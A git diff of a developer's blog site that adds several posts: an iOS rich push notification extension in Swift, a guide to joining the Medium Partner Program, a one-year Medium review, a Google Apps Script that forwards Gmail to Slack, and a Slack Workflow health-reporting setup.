+    bestAttemptContent = (request.content.mutableCopy() as? UNMutableNotificationContent)
+    
+    if let bestAttemptContent = bestAttemptContent {
+        
+        guard let info = request.content.userInfo["aps"] as? NSDictionary, let alert = info["alert"] as? Dictionary<String, String> else {
+            contentHandler(bestAttemptContent)
+            return
+            // Push notification content format is not as expected, do not process
+        }
+        
+        // Goal 2:
+        // Report to the server that the push notification has been displayed
+        if let push_id = alert["push_id"], let url = URL(string: "Display Statistics API URL") {
+            var request = URLRequest(url: url, cachePolicy: .reloadIgnoringLocalCacheData, timeoutInterval: 30)
+            request.httpMethod = "POST"
+            request.addValue(UserAgent, forHTTPHeaderField: "User-Agent")
+            
+            var httpBody = "push_id=\(push_id)"
+            request.addValue("application/x-www-form-urlencoded", forHTTPHeaderField: "Content-Type")
+            request.httpBody = httpBody.data(using: .utf8)
+            
+            let task = URLSession.shared.dataTask(with: request) { (data, response, error) in
+                
+            }
+            DispatchQueue.global().async {
+                task.resume()
+                // Asynchronous processing, ignore it
+            }
+        }
+        
+        // Goal 1:
+        guard let imageURLString = alert["image"], let imageURL = URL(string: imageURLString) else {
+            contentHandler(bestAttemptContent)
+            return
+            // If no image is attached, no special processing is needed
+        }
+        
+        let dataTask = URLSession.shared.dataTask(with: imageURL) { (data, response, error) in
+            guard let fileURL = NSURL(fileURLWithPath: NSTemporaryDirectory()).appendingPathComponent(imageURL.lastPathComponent) else {
+                contentHandler(bestAttemptContent)
+                return
+            }
+            guard (try? data?.write(to: fileURL)) != nil else {
+                contentHandler(bestAttemptContent)
+                return
+            }
+            
+            guard let attachment = try? UNNotificationAttachment(identifier: "image", url: fileURL, options: nil) else {
+                contentHandler(bestAttemptContent)
+                return
+            }
+            // The above reads the image link, downloads it to the phone, and creates a UNNotificationAttachment
+            
+            bestAttemptContent.categoryIdentifier = "image"
+            bestAttemptContent.attachments = [attachment]
+            // Add the image attachment to the push notification
+            
+            bestAttemptContent.body = (bestAttemptContent.body == "") ? ("Check it out now") : (bestAttemptContent.body)
+            // If the body is empty, use the default content "Check it out now"
+            
+            contentHandler(bestAttemptContent)
+        }
+        dataTask.resume()
+    }
+}
+

serviceExtensionTimeWillExpire part I didn’t handle specifically, so I won’t paste it; the key is still the didReceive code mentioned above.

You can see that when a push notification is received, we first call the API to inform the backend that it has been received and will be displayed, which helps us with push notification statistics in the backend; then, if there is an attached image, we process the image.

In-App state:

The Notification Service Extension didReceive will still be triggered, followed by the AppDelegate’s func application( _ application: UIApplication, didReceiveRemoteNotification userInfo: [AnyHashable : Any ], fetchCompletionHandler completionHandler: @escaping (UIBackgroundFetchResult) -> Void) method.

Note: Regarding image push notifications, you can also…

Use Notification Content Extension to customize the UIView to be displayed when the push notification is pressed (you can create it yourself), as well as the actions upon pressing.

Refer to this article: iOS10 Advanced Push Notifications (Notification Extension)

iOS 12 and later supports more action handling: iOS 12 New Notification Features: Adding Interactivity and Implementing Complex Functions in Notifications

For the Notification Content Extension part, I only created a UIView to display image push notifications without much elaboration:

[Wedding App](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

Wedding App

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

iOS UITextView Text Wrapping Editor (Swift)

Exploring Vision — Automatic Face Detection and Cropping for Profile Pictures (Swift)

diff --git a/posts/cefdf4d41746/index.html b/posts/cefdf4d41746/index.html new file mode 100644 index 0000000000..9cce5cfa8e --- /dev/null +++ b/posts/cefdf4d41746/index.html @@ -0,0 +1 @@ + Medium Partner Program is finally open to global (including Taiwan) writers! | ZhgChgLi
Home Medium Partner Program is finally open to global (including Taiwan) writers!
Post
Cancel

Medium Partner Program is finally open to global (including Taiwan) writers!

Medium Partner Program is finally open to global (including Taiwan) writers!

Everyone can join the Medium Partner Program to earn revenue by writing articles.

Photo by [Steve Johnson](https://unsplash.com/@steve_j?utm_content=creditCopyText&utm_medium=referral&utm_source=unsplash){:target="_blank"}

Photo by Steve Johnson

Murmur

The original intention of running Medium was not to make money but to enjoy sharing with everyone, sharing technical difficulties encountered, hoping to help developers facing the same problems take a shorter path, or based on my research, I can also learn new knowledge from it; in addition, there are few Traditional Chinese writers, hoping to inspire others and create a culture of mutual learning.

So I have always been indifferent to whether articles can make a profit. Whether there is profit or not, if there is, I can use the earnings to experiment, purchase more services or experiences, and then rewrite them into articles to share with everyone, creating a rolling cycle.

Since 2018, when I started writing articles on Medium, I knew that Medium had a Partner Program. However, in 2018, 2019, 2020… year after year, the Medium Partner Program policy has not been updated, and it has always been limited to a few regions for writers (I remember only Singapore and Japan in Asia) to join and earn; writers from regions other than those mentioned above need to go through troublesome methods to earn, such as using a VPN to access allowed regions + needing an account or phone number from that region, which I briefly researched before and found it too cumbersome and unsafe.

As a result, many creators have switched to other platforms, such as Matters, Fangzi, or self-hosted ad revenue, and in recent years, Medium has indeed lost many Chinese creators.

Medium Partner Program

It wasn’t until recently in August 2024 that I accidentally saw an invitation to join the Partner Program in the banner on Medium’s backend (I thought, What? Taiwan is not open for joining again), and after clicking to see, I was surprised to find that it is now fully open, and almost all regions’ creators can join the Partner Program to earn revenue through their own articles.

But it’s a bit funny to say that before you can make money by joining the Medium Partner Program, you need to first spend money to join as a Medium Member paid subscriber (minimum $4 USD per month).

August 7, 2024, Official Medium Blog Announcement

List of added countries:

Albania, Algeria, Angola, Antigua and Barbuda, Argentina, Armenia, Australia, Austria, Azerbaijan, Bahamas, Bahrain, Bangladesh, Belgium, Benin, Bhutan, Bolivia, Bosnia and Herzegovina, Botswana, Brunei, Bulgaria, Cambodia, Canada, Chile, Colombia, Costa Rica, Côte d’Ivoire, Croatia, Cyprus, Czech Republic, Denmark, Dominican Republic, Ecuador, Egypt, El Salvador, Estonia, Ethiopia, Finland, France, Gabon, Gambia, Germany, Ghana, Gibraltar, Greece, Guatemala, Guyana, Hong Kong, Hungary, India, Indonesia, Ireland, Israel, Italy, Jamaica, Japan, Jordan, Kazakhstan, Kenya, Kuwait, Laos, Latvia, Liechtenstein, Lithuania, Luxembourg, Macao, Madagascar, Malaysia, Malta, Mauritius, Mexico, Moldova, Monaco, Mongolia, Morocco, Mozambique, Namibia, Netherlands, New Zealand, Niger, Nigeria, North Macedonia, Norway, Oman, Pakistan, Panama, Paraguay, Peru, Philippines, Poland, Portugal, Qatar, Romania, Rwanda, Saint Lucia, San Marino, Saudi Arabia, Senegal, Serbia, Singapore, Slovakia, Slovenia, South Africa, South Korea, Spain, Sri Lanka, Sweden, Switzerland, Taiwan , Tanzania, Thailand, Trinidad and Tobago, Tunisia, Turkey, United Arab Emirates, United Kingdom, United States, Uruguay, Uzbekistan, and Vietnam

Medium Custom Domain Feature

Recently, Medium has been adding more and more features. Another feature that was once open and then closed, the Custom Domain feature, has recently been reopened.

[Return of Medium Custom Domain Feature](../d9a95d4224ea/)

Return of Medium Custom Domain Feature

You can refer to my previous article “Return of Medium Custom Domain Feature” to register your own domain and bind it to Medium.

The Custom Domain feature also requires you to join as a Medium Member paid subscriber to use.

Funding Methods & Tax Issues

  • Funding Method: Direct funding through Stripe, Stripe is similar to Paypal but with lower fees and more focus on payment services.
  • Tax Issues: Non-U.S. citizens only need to fill out a declaration form.

Thoughts on Some Paywall Paid Articles

  • After an article is put behind a Paywall and becomes a paid article, users must log in and become a Medium Member paid subscriber to read the full content. Some previously circulated unlimited reading plugins are no longer effective.
  • My high-traffic, well-SEO’d articles are mostly unboxing and travel notes; however, they are mostly passersby, not even regular members, let alone Medium Members. They come in, take a look, and leave, so these types of articles are not suitable for Paywall.
  • Technical articles are intended to share information freely and publicly, and I don’t think my content is worth paying for. Also, since the traffic is low and mostly industry insiders, there is not much motivation to put them behind a Paywall. Or provide free links for friends who are not Medium Members to view.
  • For traffic/revenue effects, you can refer to the data shared by senior Tenz Shih in the early stages of joining the Medium Partner Program.
  • I have selected several technical articles with good traffic and content to put behind a Paywall to test the effect (providing a free link in the first paragraph so that non-account holders/payers can also view), and I will update the results for everyone to refer to later.
  • Previously, I had already migrated to self-hosting + Google Adsense, using tools I developed to transfer “ Migrate from Medium to Self-Hosted Website Painlessly” but at that time, I did not consider paid articles, so I need to adjust the script again QQ.

Detailed tutorials begin.

Medium Partner Program Enrollment Process

1. Complete Stripe Account Registration (Opening)

2. Ensure you are a Medium Member paid subscriber.

First, make sure you have a Medium Member or Medium Friend membership.

  • If not, you need to subscribe and join first.

3. Go to the Medium Partner Program page to apply for membership.

  • Select your country, as almost all countries are currently supported. It is assumed that countries supporting Stripe payments are open.

  • Ensure you meet all three conditions:
    1. Already a paying Medium Member ✅
    2. Have published at least one article in the past six months ✅
    3. Located in the allowed region Taiwan ✅
  • Click:
    1. Confirm you are over 18 years old
    2. Agree to the terms of use

Click “Enroll now” to proceed to the next step.

4. Complete the Medium x Stripe binding.

  • Enter your email address.

  • Enter your phone number.

  • Business type: I selected “Individual or Sole Proprietorship.”

  • Verify your personal details: Enter personal information, which can be entered in Chinese here.

Add a withdrawal account:

  • Account holder name: Enter the bank account name you want to receive payments - in English (name).
  • SWIFT / BIC code: Enter the SWIFT code of the bank account you want to receive payments, which can be checked here.
  • Account number: Enter the bank account number you want to receive payments.

I used a Cathay Foreign Currency Account here, directly check the foreign currency account information in the app and fill it in. (You can change it in the settings later; it seems to verify correctness when making a transfer.)

  • Review and submit: Click “Agree and Submit” after confirming the data is correct.

After successful submission, you will be redirected back to Medium to continue setting up tax information.

5. Complete tax declaration.

Below is an example for a personal account with no U.S. identity.

  • Enter your personal information (in English).
  • Address: Can be translated through Chunghwa Post

  • Select Tax Form: For non-U.S. individuals without any U.S. identity, choose the first option “W-8BEN — for non-US individuals.”

  • Continue filling out relevant personal information (in English).

  • Identification of Beneficial Owner (Continued)
  • In this step, simply check “I can’t claim treaty benefits, so I’m not required to provide a Tax ID Number” and click “Continue”.

  • Claim of Treaty Benefits (Part II)
  • Click “Continue” for the next step directly
  • Click “Confirm” to confirm

  • Review After confirming the data is correct, click “Continue” for the next step

Certification (Part III):

  • Check all boxes, select “I am signing for myself.”, enter your English name, today’s date, contact email.
  • Finally, click “Submit Form” to submit the entire form.

Done!

After submission, you will be redirected to the Payout settings page. If everything is ✅, it means you have successfully joined!

Add the article to Paywall to start earning

Note that joining Medium Partner does not automatically generate earnings. The article must be added to Paywall to receive revenue.

  • Article editing -> “Manage paywall setting”

  • Check “Paywall your story” -> “Save”
  • Articles participating in revenue sharing will have a ⭐️.

This is how this article will generate revenue.

  • If you want to allow friends to view the full article for free, select “Copy Friend Link” from Share. They can view the complete article for free through this link, but you won’t earn revenue.

View Performance Reports

https://medium.com/me/partner/dashboard

https://medium.com/me/partner/dashboard

Medium Partner Dashboard or Story Stats will show your Earnings.

The detailed article report will also show how many paying members have viewed it.

Results of this Article

This article was added to Paywall from the beginning (now removed), sharing the results of one month.

$0.90

Earnings

201

Views

82

Reads

41%

Read ratio

Note that only Reads (paying users staying to read for over 30 seconds) generate revenue. The allocated amount is not fixed and seems to depend on views, claps, shares, etc. My numbers are not high, so each Read is distributed around $0.01 to $0.07.

These data are for reference.

Medium Custom Domain Promotion

If you have any questions or feedback, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Research on Preloading and Caching Page and File Resources in iOS WKWebView

iOS Vision framework x WWDC 24 Discover Swift enhancements in the Vision framework Session

diff --git a/posts/d01252331b53/index.html b/posts/d01252331b53/index.html new file mode 100644 index 0000000000..9ae09f4b6d --- /dev/null +++ b/posts/d01252331b53/index.html @@ -0,0 +1 @@ + Medium One-Year Review | ZhgChgLi
Home Medium One-Year Review
Post
Cancel

Medium One-Year Review

Medium One-Year Review

A review of one year on Medium or a summary of 2019

In the blink of an eye, it’s been a year since I started publishing articles on Medium. The actual anniversary should be 2019/10 (first article in 2018/10); but I was too busy and uninspired at that time. As time moves forward into 2020, I quickly jot down my thoughts on managing Medium for a year, also serving as a summary of 2019!

Review

First, I want to thank Enther Wu and Chih-Hung Yeh for pushing me to start writing again. Initially, my articles were more like daily notes or work reflections, with rather empty content. However, I shamelessly shared them on social media. Looking back at those early articles now, I feel a bit embarrassed and unsure of what I was writing, as the content wasn’t very valuable.

But everything is part of the growth process. The more I wrote, the more I got the hang of it, and the scope of my research broadened. Due to the fear of misleading others, missing details, or misunderstanding something myself, writing articles became more than just recording; it became an in-depth exploration of a particular issue, leading to my own growth and learning. Consequently, the quality of the content I shared with everyone also improved significantly.

The community is really kind-hearted. Initially, I was afraid of being criticized and losing confidence. But that didn’t happen. The feedback I received was very positive, even if the content wasn’t necessarily helpful. This positive encouragement gave me more confidence in my creations and motivated me to spend more time documenting. Thank you all for your encouragement!

The writing experience on Medium is really great. If you are also a developer, you can install Code Medium, a Chrome Extension that allows you to embed beautiful code snippets directly in Medium using Gist!

I wrote about life and technology, so to differentiate, I established two Publication channels: ZRealm Life. for sharing life and unboxing / ZRealm Dev. for sharing work and technical articles, allowing everyone to follow the content they are interested in.

A very “Western-style” thing — “LOGO”. Life needs a sense of ritual? Since it’s about managing, there should be a brand identity. So, I asked a designer to help me create my logo concept. My design idea: the pentagon frame pays homage to my alma mater NTUST’s emblem, representing craftsmanship and technology. The inner frame “ ZR “ stands for my English-translated Chinese name ZhongCheng’s initial “ Z” and Realm representing my domain’s “R”.

Gains

Speaking of gains, let’s start with the initial intention of writing — “ Teaching and Learning”. It wasn’t to show off or make money. None of my articles are behind a paywall because knowledge shouldn’t be something you have to pay to access. Knowledge is power. If you like it, please support Medium’s paid membership so we can have a long-term platform to use… (I’m really afraid it won’t withstand losses)

In terms of gains, apart from monetary benefits, I’ve gained a lot in other aspects. First is the sense of achievement. When someone reads and responds to your article, it gives you a great sense of accomplishment and more motivation to continue writing. Additionally, I’ve met many friends and had more interactions. I’m a passive socializer, and before writing articles, I was very unfamiliar with the community and had almost no interactions. Now, I’ve met many friends and feel I’m not alone on the path of development! (Just like the subtitle of my Publication — “You are not alone on the road to solving problems”).

Statistics

Since this is a review, it’s customary to provide some statistics. In 2019 (including the end of 2018), a total of: 25 articles were published: 2 lifestyle + 5 unboxing + 18 technical articles Accumulated approximately 60,000 views, 5,000 claps, and surpassed 200 followers!

The better-performing articles include:

  1. iOS Deferred Deep Link Implementation (Swift)
  2. AirPods 2 Unboxing and Hands-on Experience
  3. How to Create an Interesting Engineering CTF Competition
  4. The APP Uses HTTPS Transmission, but the Data Was Still Stolen.
  5. Apple Watch Series 4 Comprehensive Review from Purchase to Hands-on

Thank you all for your support and love. I will continue to work hard this year!

Your follow and feedback are my motivation for writing!

ZhgChgLi, 2020/01/11.

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Mi Home APP / Xiao Ai Speaker Region Issues

iOS Expand Button Click Area

diff --git a/posts/d414bdbdb8c9/index.html b/posts/d414bdbdb8c9/index.html new file mode 100644 index 0000000000..355df20786 --- /dev/null +++ b/posts/d414bdbdb8c9/index.html @@ -0,0 +1,111 @@ + Using Google Apps Script to Forward Gmail Emails to Slack | ZhgChgLi
Home Using Google Apps Script to Forward Gmail Emails to Slack
Post
Cancel

Using Google Apps Script to Forward Gmail Emails to Slack

Using Google Apps Script to Forward Gmail Emails to Slack

Use Gmail Filter + Google Apps Script to automatically forward customized content to Slack Channel when receiving emails

Photo by [Lukas Blazek](https://unsplash.com/@goumbik?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Lukas Blazek

Origin

Recently, I have been optimizing the CI/CD process for an iOS App, using Fastlane as an automation tool. After packaging and uploading, if you want to continue with the automatic submission step ( skip_submission=false ), you need to wait for Apple to complete the process, which takes about 30-40 mins of CI Server time. Because Apple’s App Store Connect API is not perfect, Fastlane can only check once per minute if the uploaded build is processed, which is very resource-wasting.

  • Bitrise CI Server: Limits the number of simultaneous builds and the maximum execution time to 90 mins. 90 mins is enough, but it will block one build, hindering others from executing.
  • Travis CI Server: Charges based on build time, so waiting is not an option, as money would be wasted.

A Different Approach

No more waiting. End it right after uploading! Use the email notification of completion to trigger subsequent actions.

However, I haven’t received this email recently. I don’t know if it’s a setting issue or if Apple no longer sends this type of notification.

This article will use the email notification that Testflight is ready for testing as an example.

The complete process is shown in the image above. The principle is feasible; however, this is not the focus of this article. This article will focus on receiving emails and using Apps Script to forward them to a Slack Channel.

How to Forward Received Emails to Slack Channel

Whether it’s a paid or free Slack project, different methods can be used to achieve the function of forwarding emails to a Slack Channel or DM.

You can refer to the official documentation for setup: Send Emails to Slack

The effect is the same regardless of the method used:

Default collapsed email content, click to expand and view all content.

Advantages:

  1. Simple and fast
  2. Zero technical threshold
  3. Instant forwarding

Disadvantages:

  1. Cannot customize content
  2. Display style cannot be changed

Custom Forwarding Content

This is the main focus of this article.

Translate the email content data into the style you want to present, as shown in the example above.

First, a complete workflow diagram:

  • Use Gmail Filter to add a recognition label to the email to be forwarded
  • Apps Script regularly fetches emails marked with that label
  • Read the email content
  • Render into the desired display style
  • Send messages to Slack via Slack Bot API or directly using Incoming Message
  • Remove the email label (indicating it has been forwarded)
  • Done

First, create a filter in Gmail

Filters can automate some actions when receiving emails that meet certain conditions, such as automatically marking as read, automatically tagging, automatically moving to spam, automatically categorizing, etc.

In Gmail, click the advanced search icon button in the upper right corner, enter the forwarding email rule conditions, such as from: no_reply@email.apple.com + subject is is now available to test., click “Search” to see if the filter results are as expected; if correct, click the “Create filter” button next to Search.

Or directly click Filter message like these at the top of the email to quickly create filter conditions

Or directly click Filter message like these at the top of the email to quickly create filter conditions

This button design is very counterintuitive, it took me a while to find it the first time.

Next, set the actions for emails that meet this filter condition. Here we select “Apply the label” to create a separate new recognition label “forward-to-slack”, click “Create filter” to complete.

From then on, all emails marked with this label will be forwarded to Slack.

Get Incoming WebHooks App URL

First, we need to add the Incoming WebHooks App to the Slack Channel, which we will use to send messages.

  1. Slack lower left corner “Apps” -> “Add apps”
  2. Search “incoming” in the search box on the right
  3. Click “Incoming WebHooks” -> “Add”

Select the channel where you want to send the message.

Note down the “Webhook URL” at the top

Scroll down to set the name and avatar of the bot that sends the message; remember to click “Save Settings” after making changes.

Note

Please note that the official recommendation is to use the new Slack APP Bot API’s chat.postMessage to send messages. The simple method of Incoming Webhook will be deprecated in the future. This article uses the simpler method, but it can be adjusted to the new method along with the next chapter “Import Employee List” which requires the Slack App API.

Writing Apps Script Programs

Paste the following basic script and modify it to your desired version:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+
function sendMessageToSlack(content) {
+    var payload = {
+      "text": "*You have received an email*",
+      "attachments": [{
+          "pretext": "The email content is as follows:",
+          "text": content,
+        }
+      ]
+    };
+    var res = UrlFetchApp.fetch('Paste your Slack incoming Webhook URL here',{
+      method             : 'post',
+      contentType        : 'application/json',
+      payload            : JSON.stringify(payload)
+    })
+}
+
+function forwardEmailsToSlack() {
+    // Referenced from: https://gist.github.com/andrewmwilson/5cab8367dc63d87d9aa5
+
+    var label = GmailApp.getUserLabelByName('forward-to-slack');
+    var messages = [];
+    var threads = label.getThreads();
+  
+    if (threads == null) {
+      return;
+    }
+
+    for (var i = 0; i < threads.length; i++) {
+        messages = messages.concat(threads[i].getMessages())
+    }
+
+    for (var i = 0; i < messages.length; i++) {
+        var message = messages[i];
+        Logger.log(message);
+
+        var output = '*New Email*';
+        output += '\n*from:* ' + message.getFrom();
+        output += '\n*to:* ' + message.getTo();
+        output += '\n*cc:* ' + message.getCc();
+        output += '\n*date:* ' + message.getDate();
+        output += '\n*subject:* ' + message.getSubject();
+        output += '\n*body:* ' + message.getPlainBody();
+
+        sendMessageToSlack(output);
+   }
+
+   label.removeFromThreads(threads);
+}
+

Advanced:

Example: Extracting version number information from a Testflight approval email:

Email subject: Your app XXX has been approved for beta testing.

Email content:

We want to get the Bundle Version Short String and the value after Build Number.

1
+2
+3
+4
+5
+6
+7
+
var results = subject.match(/(Bundle Version Short String: ){1}(\S+){1}[\S\s]*(Build Number: ){1}(\S+){1}/);
+if (results == null || results.length != 5) {
+  // not valid
+} else {
+  var version = results[2];
+  var build = results[4];
+}
+

Run and See

  • Go back to Gmail, find any email, and manually add the label — “forward-to-slack”
  • In the Apps Script code editor, select “forwardEmailsToSlack” and click the “Run” button

If “Authorization Required” appears, click “Continue” to complete the verification

During the authentication process, “Google hasn’t verified this app” will appear. This is normal because our App Script has not been verified by Google. However, it is fine since this is for personal use.

Click the bottom left “Advanced” -> “Go to ForwardEmailsToSlack (unsafe)”

Click “Allow”

Forwarding successful!!!

Set Up Triggers (Scheduling) for Automatic Checking & Forwarding

In the left menu of Apps Script, select “Triggers”.

Bottom left “+ Add Trigger”.

  • Error notification settings: You can set how to notify you when the script encounters an error
  • Choose the function you want to execute: Select Main Function sendMessageToSlack
  • Select event source: You can choose from Calendar or Time-driven (timed or specified)
  • Select time-based trigger type: You can choose to execute on a specific date or every minute/hour/day/week/month
  • Select minute/hour/day/week/month interval: EX: Every minute, every 15 minutes…

For demonstration purposes, set it to execute every minute. I think checking emails every hour is sufficient for real-time needs.

  • Go back to Gmail, find any email, and manually add the label — “forward-to-slack”
  • Wait for the schedule to trigger

Automatic checking & forwarding successful!

Completion

With this feature, you can achieve customized email forwarding processing and even use it as a trigger. For example, automatically execute a script when receiving an XXX email.

Returning to the origin in the first chapter, we can use this mechanism to perfect the CI/CD process; no need to wait idly for Apple to complete processing, and it can be linked to the automation process!

Further Reading

If you have any questions or comments, feel free to contact me.

===

本文中文版本

===

This article was first published in Traditional Chinese on Medium ➡️ View Here



This post is licensed under CC BY 4.0 by the author.

Productivity Tools: Abandon Chrome and Embrace Sidekick Browser

2021 Pinkoi Tech Career Talk - Decoding the High-Efficiency Engineering Team

diff --git a/posts/d61062833c1a/index.html b/posts/d61062833c1a/index.html new file mode 100644 index 0000000000..d6e5465823 --- /dev/null +++ b/posts/d61062833c1a/index.html @@ -0,0 +1,327 @@ + Building a Fully Automated WFH Employee Health Reporting System with Slack | ZhgChgLi
Home Building a Fully Automated WFH Employee Health Reporting System with Slack
Post
Cancel

Building a Fully Automated WFH Employee Health Reporting System with Slack

Building a Fully Automated WFH Employee Health Reporting System with Slack

Enhancing work efficiency by playing with Slack Workflow combined with Google Sheet with App Script

Photo by [Stephen Phillips — Hostreviews.co.uk](https://unsplash.com/@hostreviews?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}

Photo by Stephen Phillips — Hostreviews.co.uk

Introduction

In response to full remote work, the company cares about the health of all members. Every day, employees need to report their health status, which is recorded and managed by People Operations.

Our Pre-Optimization Flow

  1. [Automation] Slack Channel sends a reminder message about the health form at 10 AM every day (the only automated part before optimization)
  2. Employees click the link to open the Google Form and fill out health questions
  3. Data is stored back in Google Sheet response records
  4. [Manual] People Operations compare the list near the end of the day to filter out employees who forgot to fill it out
  5. [Manual] Send reminder messages in the Slack Channel & tag those who forgot to fill it out one by one

The above is our company’s health reporting tracking process. Each company may have different processes based on their scale and operation methods. This article uses it as an optimization example to learn Slack Workflow usage and basic App Script writing. Actual implementation should be case by case.

Issues

  • Need to jump out of Slack context to use a browser to open the Google Form webpage to fill it out, which is especially inconvenient on mobile
  • Google Form can only automatically include email information, not the name of the person filling it out or department information
  • Daily manual comparison and manual tagging are very time-consuming

Solution

Having done quite a few small automation projects, this process has fixed data sources (employee list), simple conditions, and routine actions; it seemed very suitable for automation. Initially, it wasn’t done because I couldn’t find a good way to fill it out (actually, I couldn’t find an interesting research point); so it was left alone until I saw this post by Hai Zongli and realized that Slack Workflow not only can send scheduled messages but also has a form function:

Image from: [Hai Zongli](https://www.facebook.com/tzangms/posts/10157880898787657){:target="_blank"}

Image from: Hai Zongli

This got me excited!!

If Slack Workflow Form combined with message automation can solve all the pain points mentioned above, the principle is feasible! So I started implementing it.

Post-Optimization Flow

First, let’s look at the optimized process and results.

  1. [Automation] Slack Channel sends a daily reminder at 10 AM for everyone to fill out the health form.
  2. Fill out health questions via Google Form or Slack Workflow Form.
  3. Data is stored back in Google Sheet response records.
  4. People Operations clicks the “Generate Unfilled List” button near the end of each workday.
  5. [Automation] Use App Script to compare the employee list and the filled list to filter out the unfilled list.
  6. [Automation] Click “Generate & Send Message” to automatically send unfilled reminders & automatically tag the individuals.
  7. Done!

Effectiveness

(Personal Estimate)

  • Each employee can save about 30 seconds daily on filling out the form.
  • People Operations can save about 20 ~ 30 minutes daily on handling this task.

Operating Principle

Manage the Sheet by writing App Script.

  1. Store all external input data in the Responses Sheet.
  2. Write an App Script Function to distribute the data from Responses to each date’s Sheet according to the filling date. If not, create a new date Sheet. The Sheet name directly uses the date for easy identification and access.
  3. Compare the current date’s Sheet with the employee list to generate the unfilled list Sheet data.
  4. Read the unfilled list Sheet, compose the message, and send it to the specified Slack Channel.
  • Integrate with Slack APP API to automatically read the specified Channel and import the employee list.
  • Use Slack UID Tag <@UID> in the message content to tag the unfilled members.

Identity Verification

The identity verification information connecting Google Form and Slack is Email, so please ensure that all company colleagues use the company Email to fill out the Google Form, and also fill in the company Email in the Slack personal information section.

Getting Started

After discussing the issues, optimization methods, and results, let’s move on to the implementation phase; let’s complete this automation case step by step together.

The content is a bit lengthy, you can skip the sections you already understand, or directly create a copy from the completed result, and learn while modifying.

Completed result form: https://forms.gle/aqGDCELpAiMFFoyDA

Completed result Google Sheet:

Steps omitted, please Google if you have any questions. Here, we assume you have already created & linked the health report form.

Remember to check “Collect emails” on the form:

Collect the email addresses of the respondents for future list comparison.

How to link responses to Google Sheet?

Switch to “Responses” at the top of the form and click the “Google Sheet Icon”.

Change the linked Sheet name:

It is recommended to change the linked Sheet name from Form Responses 1 to Responses for easier use.

Create a Slack Workflow Form Entry

After having the traditional Google Form entry, let’s add the Slack filling method.

In any Slack conversation window, find the “ below the input box “ “blue lightning ⚡️” and click on it.

In the menu under “Search shortcuts,” type “workflow” and select “Open Workflow Builder.”

Here, it will list the Workflows you have created or participated in. Click “Create” in the upper right corner to create a new Workflow.

Step one, enter the workflow name (for display in the Workflow Builder interface).

Workflow trigger method, select “Shortcut.”

Currently, there are 5 types of Slack workflow trigger points:

  • Shortcut: Manually trigger the “blue lightning ⚡️” option, which will appear in the workflow menu. Click to start the workflow.
  • New channel member: When a new member joins the Target Channel… (EX: Welcome message)
  • Emoji reactions: When someone reacts to a message in the Target Channel with a specified emoji… (Maybe used for marking important messages as read by pressing XXX Emoji, to know who has read it?)
  • Scheduled date & time: Schedule, at a specified time… (EX: Regular reminder messages)
  • Webhook: External Webhook trigger, advanced feature, can integrate internal workflows with third-party or self-hosted APIs.

Here we choose “Shortcut” to create a manual trigger option.

Select which “Channel input box” this Workflow Shortcut should be added to and enter the “display name.”

*A workflow shortcut can only be added to one channel.

Shortcut created! Start creating workflow steps by clicking “Add Step.”

Select the “Send a form” Step.

Title: Enter the form title.

Add a question: Enter the first question’s title (you can label the question number in the title, e.g., 1., 2., 3…).

Choose a question type:

  • Short answer: Single-line input box.
  • Long answer: Multi-line input box.
  • Select from a list: Single-choice list.
  • Select a person: Choose a member from the same Workspace.
  • Select a channel or DM: Choose a member from the same Workspace, Group DM, or Channel.

For “Select from a list”:

  1. Add list item: Add an option.
  2. Default selection: Choose the default option.
  3. Make this required: Set this question as mandatory.

  1. Add Question: Add more questions.
  2. The right “↓” and “⬆” can adjust the order, “✎” can expand for editing.
  3. You can choose whether to send the form responses back to the Channel or to someone.

You can also choose to send the response to…:

  • Person who clicked…: The person who clicked this form (same as the person filling it out).
  • Channel where workflow started: The Channel where this workflow was added.

After completing the form, click “Save” to save the step.

*Here we uncheck the option to return the form content because we want to customize the message content in later steps.

Integrate Slack workflow with Google Sheet

If you haven’t added the Google Sheet App to Slack yet, you can click here to install the APP.

Following the previous step, click “Add Step” to add a new step. We choose the “Add a spreadsheet row” step from Google Sheets for Workflow Builder.

  1. First, complete the authorization of your Google account by clicking “Connect account”.
  2. Select a spreadsheet: Choose the target response Google Sheet, please select the Google Sheet created by the initial Google Form.
  3. Sheet: Same as above.
  4. Column name: The first column to fill in the value, here we select Question 1.

Click “Insert Variable” in the lower right corner and select “Response to Question 1…”. After inserting, you can add other columns by clicking “Add Column” in the lower left corner. Repeat this process for Question 2, Question 3, etc.

For the email of the person filling out the form, you can select “Person who submitted form”.

Click on the inserted variable and select “Email” to automatically fill in the email of the person who filled out the form.

  • Mention (default): Tag the user, raw data is <@User ID>
  • Name: User name
  • Email: User email

The Timestamp column is a bit tricky; we will supplement the setting method later. First, click “Save” to save, then go back to the top right corner of the page and click “Publish” to publish the Shortcut.

After seeing the success message, you can go back to the Slack Channel and give it a try.

At this point, clicking the lightning bolt will show the Workflow form you just created, which you can click to fill out and play with.

Left: Desktop Right: Mobile

Left: Desktop / Right: Mobile

We can fill in the information and “Submit” to test if it works properly.

Success! But you can see that the Timestamp column is empty. Next, we will solve this problem.

Get submission time from Slack workflow

Slack workflow does not have a global variable for the current timestamp, at least not yet. I only found a wish post on Reddit.

Initially, I whimsically entered =NOW() in the Column Value, but this way the time for all records is always the current time, which is completely wrong.

Thanks to the Reddit post and the tricky method provided by a great netizen, you can create a clean Timestamp Sheet with one row of data and a column =NOW(). First, use Update to force the column to be the latest, then use Select to get the current Timestamp.

